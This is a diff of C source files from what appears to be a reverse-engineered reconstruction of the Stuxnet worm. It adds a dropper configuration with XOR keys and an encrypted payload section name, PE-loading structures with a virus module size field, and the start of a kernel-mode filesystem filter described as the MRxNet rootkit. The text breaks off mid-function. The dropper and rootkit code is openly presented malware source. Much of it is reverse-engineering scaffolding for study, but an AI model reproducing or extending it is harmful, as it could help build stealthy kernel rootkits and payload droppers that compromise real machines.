@@ -0,0 +1,41 @@
|
||||
/******************************************************************************************
|
||||
Copyright 2012-2013 Christian Roggia
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
******************************************************************************************/
|
||||
|
||||
#ifndef CONFIG_H
|
||||
#define CONFIG_H
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// Various keys
|
||||
#define X_CORE_KEY (BYTE )0x96 // Core XOR encryption key
|
||||
#define X_PTR_KEY (DWORD)0xAE1979DD // Pointer XOR key
|
||||
#define X_STRING_KEY (WORD )0xAE12 // String XOR encryption key
|
||||
|
||||
// Module encryption config
|
||||
#define X_SIGNATURE (DWORD)0xAE39120D // Signature located before the header
|
||||
#define X_SECTION_NAME ".stub" // Section name where the module is located
|
||||
|
||||
// Module activation config
|
||||
#define ENTRY_FUNC (LPCSTR)15 // Module's function to call in order to activate the main routine
|
||||
|
||||
// Macro for debug print
|
||||
#ifdef _DEBUG
|
||||
# define DEBUG_P(s) { OutputDebugString(TEXT(s"\n")); }
|
||||
#else
|
||||
# define DEBUG_P(s)
|
||||
#endif // DEBUG
|
||||
|
||||
#endif // CONFIG_H
|
||||
@@ -1,5 +1,5 @@
|
||||
/******************************************************************************************
|
||||
Copyright 2012-2013 Christian Roggia
|
||||
Copyright (C) 2012-2014 Christian Roggia <christian.roggia@gmail.com>
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
@@ -17,80 +17,46 @@
|
||||
#ifndef DEFINE_H
|
||||
#define DEFINE_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "stdafx.h"
|
||||
|
||||
#define _QWORD UINT64
|
||||
#define _DWORD UINT32
|
||||
#define _WORD USHORT
|
||||
#define _BYTE UCHAR
|
||||
#define bool BOOL
|
||||
#define IMAGE_NT(h) (PIMAGE_NT_HEADERS)(((PIMAGE_DOS_HEADER)h)->e_lfanew + (DWORD)h)
|
||||
#define SECTION_TABLE(h) (PIMAGE_SECTION_HEADER)((DWORD)h + h->FileHeader.SizeOfOptionalHeader + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD))
|
||||
|
||||
#define __usercall _cdecl
|
||||
#define __thiscall _cdecl // (?)
|
||||
#define HAS_FAILED(v, r) { if(v) return (r); }
|
||||
#define _SIZE(x, y) (DWORD)((DWORD)x - (DWORD)y)
|
||||
|
||||
#define NTSTATUS ULONG
|
||||
#define STATUS_SUCCESS 0x00000000
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
|
||||
#define STATUS_ACCESS_DENIED 0xC0000022
|
||||
#define STATUS_BUFFER_OVERFLOW 0x80000005
|
||||
#define STATUS_CONFLICTING_ADDRESSES 0xC0000018
|
||||
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, *PUNICODE_STRING;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES {
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
UNICODE_STRING *ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES;
|
||||
|
||||
#define POBJECT_ATTRIBUTES OBJECT_ATTRIBUTES*
|
||||
|
||||
typedef enum _SECTION_INHERIT
|
||||
{
|
||||
ViewShare = 1,
|
||||
ViewUnmap = 2
|
||||
} SECTION_INHERIT;
|
||||
|
||||
typedef void (*__tLibraryExecEntry)(DWORD, INT32);
|
||||
typedef NTSTATUS (*__tAlignAddresses)(PIMAGE_DOS_HEADER *);
|
||||
|
||||
typedef struct _GENERAL_INFO_BLOCK {
|
||||
DWORD OriginalAddress;
|
||||
UINT32 UnknownZero0;
|
||||
HANDLE MappedAddress;
|
||||
DWORD AlignAddressesFunction;
|
||||
WCHAR RandomLibraryName[32];
|
||||
UINT32 AbsoluteEntryPoint;
|
||||
UINT32 UnknownZero1;
|
||||
UINT32 SizeOfStackReserve;
|
||||
UINT32 SizeOfStackCommit;
|
||||
UINT32 Subsystem;
|
||||
UINT16 MinorSubsystemVersion;
|
||||
UINT16 MajorSubsystemVersion;
|
||||
UINT32 UnknownZero2;
|
||||
UINT16 Charactersitics;
|
||||
UINT16 DllCharacteristics;
|
||||
UINT16 Machine;
|
||||
UINT8 UnknownOne;
|
||||
UINT8 UnknownFour;
|
||||
UINT32 LoaderFlags;
|
||||
UINT32 VirusModuleSize;
|
||||
UINT32 UnknownZero3;
|
||||
} GENERAL_INFO_BLOCK, *PGENERAL_INFO_BLOCK;
|
||||
// Return Global Encoded Function Pointer
|
||||
#define _FUNC(s) g_hardAddrs.##s
|
||||
|
||||
#define MZ_HEADER 0x5A4D
|
||||
#define PE_HEADER 0x4550
|
||||
|
||||
#define _SIZE(x, y) (UINT32)((UINT32)x - (UINT32)y)
|
||||
typedef void (*__tLibraryExecEntry)(LPVOID, INT32);
|
||||
typedef NTSTATUS (*__tAlignAddresses)(PIMAGE_DOS_HEADER *);
|
||||
|
||||
#define XADDR_KEY 0xAE1979DD
|
||||
typedef struct _GENERAL_INFO_BLOCK {
|
||||
DWORD OriginalAddress;
|
||||
DWORD UnknownZero0;
|
||||
HANDLE MappedAddress;
|
||||
DWORD AlignAddressesFunction;
|
||||
WCHAR RandomLibraryName[32];
|
||||
DWORD AbsoluteEntryPoint;
|
||||
DWORD UnknownZero1;
|
||||
DWORD SizeOfStackReserve;
|
||||
DWORD SizeOfStackCommit;
|
||||
DWORD Subsystem;
|
||||
WORD MinorSubsystemVersion;
|
||||
WORD MajorSubsystemVersion;
|
||||
DWORD UnknownZero2;
|
||||
WORD Charactersitics;
|
||||
WORD DllCharacteristics;
|
||||
WORD Machine;
|
||||
BYTE UnknownOne;
|
||||
BYTE UnknownFour;
|
||||
DWORD LoaderFlags;
|
||||
DWORD VirusModuleSize;
|
||||
DWORD UnknownZero3;
|
||||
} GENERAL_INFO_BLOCK, *PGENERAL_INFO_BLOCK;
|
||||
|
||||
typedef struct _SECTION_SEGEMENT_INFO {
|
||||
DWORD SegmentAddress;
|
||||
17
Dropper/stdafx.h
Normal file
17
Dropper/stdafx.h
Normal file
@@ -0,0 +1,17 @@
|
||||
#include <windows.h>
|
||||
|
||||
#define _QWORD UINT64
|
||||
#define _DWORD UINT32
|
||||
#define _WORD USHORT
|
||||
#define _BYTE UCHAR
|
||||
#define bool BOOL
|
||||
|
||||
#define __usercall _cdecl
|
||||
#define __thiscall _cdecl // (?)
|
||||
|
||||
#define NTSTATUS ULONG
|
||||
#define STATUS_SUCCESS 0x00000000
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
|
||||
#define STATUS_ACCESS_DENIED 0xC0000022
|
||||
#define STATUS_BUFFER_OVERFLOW 0x80000005
|
||||
#define STATUS_CONFLICTING_ADDRESSES 0xC0000018
|
||||
640
Rootkit/FastIo.c
Normal file
640
Rootkit/FastIo.c
Normal file
@@ -0,0 +1,640 @@
|
||||
/*++
|
||||
|
||||
Copyright (C) 2010-2011 Amr Thabet <amr.thabet[at]student.alx.edu.eg>
|
||||
|
||||
Module Name:
|
||||
|
||||
FastIo.c
|
||||
|
||||
Abstract:
|
||||
|
||||
This Module Contain The reversed MRxNet rootkit dropped by Stuxnet worm.
|
||||
This File For The FastIoDispatch Routines
|
||||
|
||||
Licence:
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program; if not, write to Amr Thabet
|
||||
amr.thabet@student.alx.edu.eg
|
||||
|
||||
Environment:
|
||||
|
||||
Kernel mode
|
||||
|
||||
--*/
|
||||
|
||||
//Decleration
|
||||
//------------
|
||||
|
||||
#include <ntifs.h>
|
||||
|
||||
typedef struct _DEVICE_EXTENSION
|
||||
{
|
||||
PDEVICE_OBJECT AttachedDevice;
|
||||
PETHREAD pThreadObj;
|
||||
|
||||
}_DEVICE_EXTENSION, *PDEVICE_EXTENSION;
|
||||
PDEVICE_OBJECT DeviceObject;
|
||||
|
||||
//Data:
|
||||
//-----
|
||||
|
||||
extern FAST_IO_DISPATCH g_fastIoDispatch;
|
||||
extern PDRIVER_OBJECT DriverObject;
|
||||
|
||||
/**-------------------------------------------------------------------
|
||||
|
||||
SetFastIoDispatch
|
||||
|
||||
----------------------------------------------------------------------**/
|
||||
|
||||
|
||||
PFAST_IO_DISPATCH GetNextIODispatch (PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT* nextDeviceObject)
|
||||
{
|
||||
if (DeviceObject == 0 || DeviceObject->DeviceExtension == 0)return 0;
|
||||
*nextDeviceObject = ((PDEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedDevice;
|
||||
return (*nextDeviceObject)->DriverObject->FastIoDispatch;
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoCheckIfPossible(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PLARGE_INTEGER FileOffset,
|
||||
__in ULONG Length,
|
||||
__in BOOLEAN Wait,
|
||||
__in ULONG LockKey,
|
||||
__in BOOLEAN CheckForReadOperation,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 8 || NextFastIoDispatch->FastIoCheckIfPossible == 0){
|
||||
return 0;
|
||||
};
|
||||
return (NextFastIoDispatch->FastIoCheckIfPossible)(
|
||||
FileObject,
|
||||
FileOffset,
|
||||
Length,
|
||||
Wait,
|
||||
LockKey,
|
||||
CheckForReadOperation,
|
||||
IoStatus,
|
||||
nextDeviceObject);
|
||||
};
|
||||
|
||||
|
||||
BOOLEAN FsFilterFastIoRead(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PLARGE_INTEGER FileOffset,
|
||||
__in ULONG Length,
|
||||
__in BOOLEAN Wait,
|
||||
__in ULONG LockKey,
|
||||
__out PVOID Buffer,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0xC || NextFastIoDispatch->FastIoRead == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->FastIoRead)(
|
||||
FileObject,
|
||||
FileOffset,
|
||||
Length,
|
||||
Wait,
|
||||
LockKey,
|
||||
Buffer,
|
||||
IoStatus,
|
||||
nextDeviceObject);
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoWrite(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PLARGE_INTEGER FileOffset,
|
||||
__in ULONG Length,
|
||||
__in BOOLEAN Wait,
|
||||
__in ULONG LockKey,
|
||||
__in PVOID Buffer,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x10 || NextFastIoDispatch->FastIoWrite == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->FastIoWrite)(
|
||||
FileObject,
|
||||
FileOffset,
|
||||
Length,
|
||||
Wait,
|
||||
LockKey,
|
||||
Buffer,
|
||||
IoStatus,
|
||||
nextDeviceObject);
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoQueryBasicInfo(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in BOOLEAN Wait,
|
||||
__out PFILE_BASIC_INFORMATION Buffer,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x14 || NextFastIoDispatch->FastIoQueryBasicInfo == 0){
|
||||
return FALSE;
|
||||
};
|
||||
|
||||
return (NextFastIoDispatch->FastIoQueryBasicInfo)(
|
||||
FileObject,
|
||||
Wait,
|
||||
Buffer,
|
||||
IoStatus,
|
||||
nextDeviceObject);
|
||||
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoQueryStandardInfo(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in BOOLEAN Wait,
|
||||
__out PFILE_STANDARD_INFORMATION Buffer,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x18 || NextFastIoDispatch->FastIoQueryStandardInfo == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->FastIoQueryStandardInfo)(
|
||||
FileObject,
|
||||
Wait,
|
||||
Buffer,
|
||||
IoStatus,
|
||||
nextDeviceObject);
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoLock(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PLARGE_INTEGER FileOffset,
|
||||
__in PLARGE_INTEGER Length,
|
||||
__in PEPROCESS ProcessId,
|
||||
__in ULONG Key,
|
||||
__in BOOLEAN FailImmediately,
|
||||
__in BOOLEAN ExclusiveLock,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x1C || NextFastIoDispatch->FastIoLock == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->FastIoLock)(
|
||||
FileObject,
|
||||
FileOffset,
|
||||
Length,
|
||||
ProcessId,
|
||||
Key,
|
||||
FailImmediately,
|
||||
ExclusiveLock,
|
||||
IoStatus,
|
||||
nextDeviceObject);
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoUnlockSingle(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PLARGE_INTEGER FileOffset,
|
||||
__in PLARGE_INTEGER Length,
|
||||
__in PEPROCESS ProcessId,
|
||||
__in ULONG Key,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x20 || NextFastIoDispatch->FastIoUnlockSingle == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->FastIoUnlockSingle)(
|
||||
FileObject,
|
||||
FileOffset,
|
||||
Length,
|
||||
ProcessId,
|
||||
Key,
|
||||
IoStatus,
|
||||
nextDeviceObject);
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoUnlockAll(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PEPROCESS ProcessId,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x24 || NextFastIoDispatch->FastIoUnlockAll == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->FastIoUnlockAll)(
|
||||
FileObject,
|
||||
ProcessId,
|
||||
IoStatus,
|
||||
nextDeviceObject);
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoUnlockAllByKey(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PVOID ProcessId,
|
||||
__in ULONG Key,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x28 || NextFastIoDispatch->FastIoUnlockAllByKey == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->FastIoUnlockAllByKey)(
|
||||
FileObject,
|
||||
ProcessId,
|
||||
Key,
|
||||
IoStatus,
|
||||
nextDeviceObject);
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoDeviceControl(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in BOOLEAN Wait,
|
||||
__in_opt PVOID InputBuffer,
|
||||
__in ULONG InputBufferLength,
|
||||
__out_opt PVOID OutputBuffer,
|
||||
__in ULONG OutputBufferLength,
|
||||
__in ULONG IoControlCode,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x2C || NextFastIoDispatch->FastIoDeviceControl == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->FastIoDeviceControl)(
|
||||
FileObject,
|
||||
Wait,
|
||||
InputBuffer,
|
||||
InputBufferLength,
|
||||
OutputBuffer,
|
||||
OutputBufferLength,
|
||||
IoControlCode,
|
||||
IoStatus,
|
||||
nextDeviceObject);
|
||||
}
|
||||
|
||||
VOID FsFilterFastIoDetachDevice(
|
||||
__in PDEVICE_OBJECT SourceDevice,
|
||||
__in PDEVICE_OBJECT TargetDevice
|
||||
)
|
||||
{
|
||||
//
|
||||
// Detach from the file system's volume device object.
|
||||
//
|
||||
|
||||
IoDetachDevice(TargetDevice);
|
||||
IoDeleteDevice(SourceDevice);
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoQueryNetworkOpenInfo(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in BOOLEAN Wait,
|
||||
__out PFILE_NETWORK_OPEN_INFORMATION Buffer,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x3C || NextFastIoDispatch->FastIoQueryNetworkOpenInfo == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->FastIoQueryNetworkOpenInfo)(
|
||||
FileObject,
|
||||
Wait,
|
||||
Buffer,
|
||||
IoStatus,
|
||||
nextDeviceObject);
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoMdlRead(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PLARGE_INTEGER FileOffset,
|
||||
__in ULONG Length,
|
||||
__in ULONG LockKey,
|
||||
__out PMDL* MdlChain,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x44 || NextFastIoDispatch->MdlRead == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->MdlRead)(
|
||||
FileObject,
|
||||
FileOffset,
|
||||
Length,
|
||||
LockKey,
|
||||
MdlChain,
|
||||
IoStatus,
|
||||
nextDeviceObject);
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoMdlReadComplete(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PMDL MdlChain,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x48 || NextFastIoDispatch->MdlReadComplete == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->MdlReadComplete)(
|
||||
FileObject,
|
||||
MdlChain,
|
||||
nextDeviceObject);
|
||||
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoPrepareMdlWrite(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PLARGE_INTEGER FileOffset,
|
||||
__in ULONG Length,
|
||||
__in ULONG LockKey,
|
||||
__out PMDL* MdlChain,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x4C || NextFastIoDispatch->PrepareMdlWrite == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->PrepareMdlWrite)(
|
||||
FileObject,
|
||||
FileOffset,
|
||||
Length,
|
||||
LockKey,
|
||||
MdlChain,
|
||||
IoStatus,
|
||||
nextDeviceObject);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoMdlWriteComplete(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PLARGE_INTEGER FileOffset,
|
||||
__in PMDL MdlChain,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x50 || NextFastIoDispatch->MdlWriteComplete == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->MdlWriteComplete)(
|
||||
FileObject,
|
||||
FileOffset,
|
||||
MdlChain,
|
||||
nextDeviceObject);
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoReadCompressed(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PLARGE_INTEGER FileOffset,
|
||||
__in ULONG Length,
|
||||
__in ULONG LockKey,
|
||||
__out PVOID Buffer,
|
||||
__out PMDL* MdlChain,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__out struct _COMPRESSED_DATA_INFO* CompressedDataInfo,
|
||||
__in ULONG CompressedDataInfoLength,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x54 || NextFastIoDispatch->FastIoReadCompressed == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->FastIoReadCompressed)(
|
||||
FileObject,
|
||||
FileOffset,
|
||||
Length,
|
||||
LockKey,
|
||||
Buffer,
|
||||
MdlChain,
|
||||
IoStatus,
|
||||
CompressedDataInfo,
|
||||
CompressedDataInfoLength,
|
||||
nextDeviceObject);
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoWriteCompressed(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PLARGE_INTEGER FileOffset,
|
||||
__in ULONG Length,
|
||||
__in ULONG LockKey,
|
||||
__in PVOID Buffer,
|
||||
__out PMDL* MdlChain,
|
||||
__out PIO_STATUS_BLOCK IoStatus,
|
||||
__in struct _COMPRESSED_DATA_INFO* CompressedDataInfo,
|
||||
__in ULONG CompressedDataInfoLength,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x58 || NextFastIoDispatch->FastIoWriteCompressed == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->FastIoWriteCompressed)(
|
||||
FileObject,
|
||||
FileOffset,
|
||||
Length,
|
||||
LockKey,
|
||||
Buffer,
|
||||
MdlChain,
|
||||
IoStatus,
|
||||
CompressedDataInfo,
|
||||
CompressedDataInfoLength,
|
||||
nextDeviceObject );
|
||||
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoMdlReadCompleteCompressed(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PMDL MdlChain,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x5C || NextFastIoDispatch->MdlReadCompleteCompressed == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->MdlReadCompleteCompressed)(
|
||||
FileObject,
|
||||
MdlChain,
|
||||
nextDeviceObject);
|
||||
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoMdlWriteCompleteCompressed(
|
||||
__in PFILE_OBJECT FileObject,
|
||||
__in PLARGE_INTEGER FileOffset,
|
||||
__in PMDL MdlChain,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
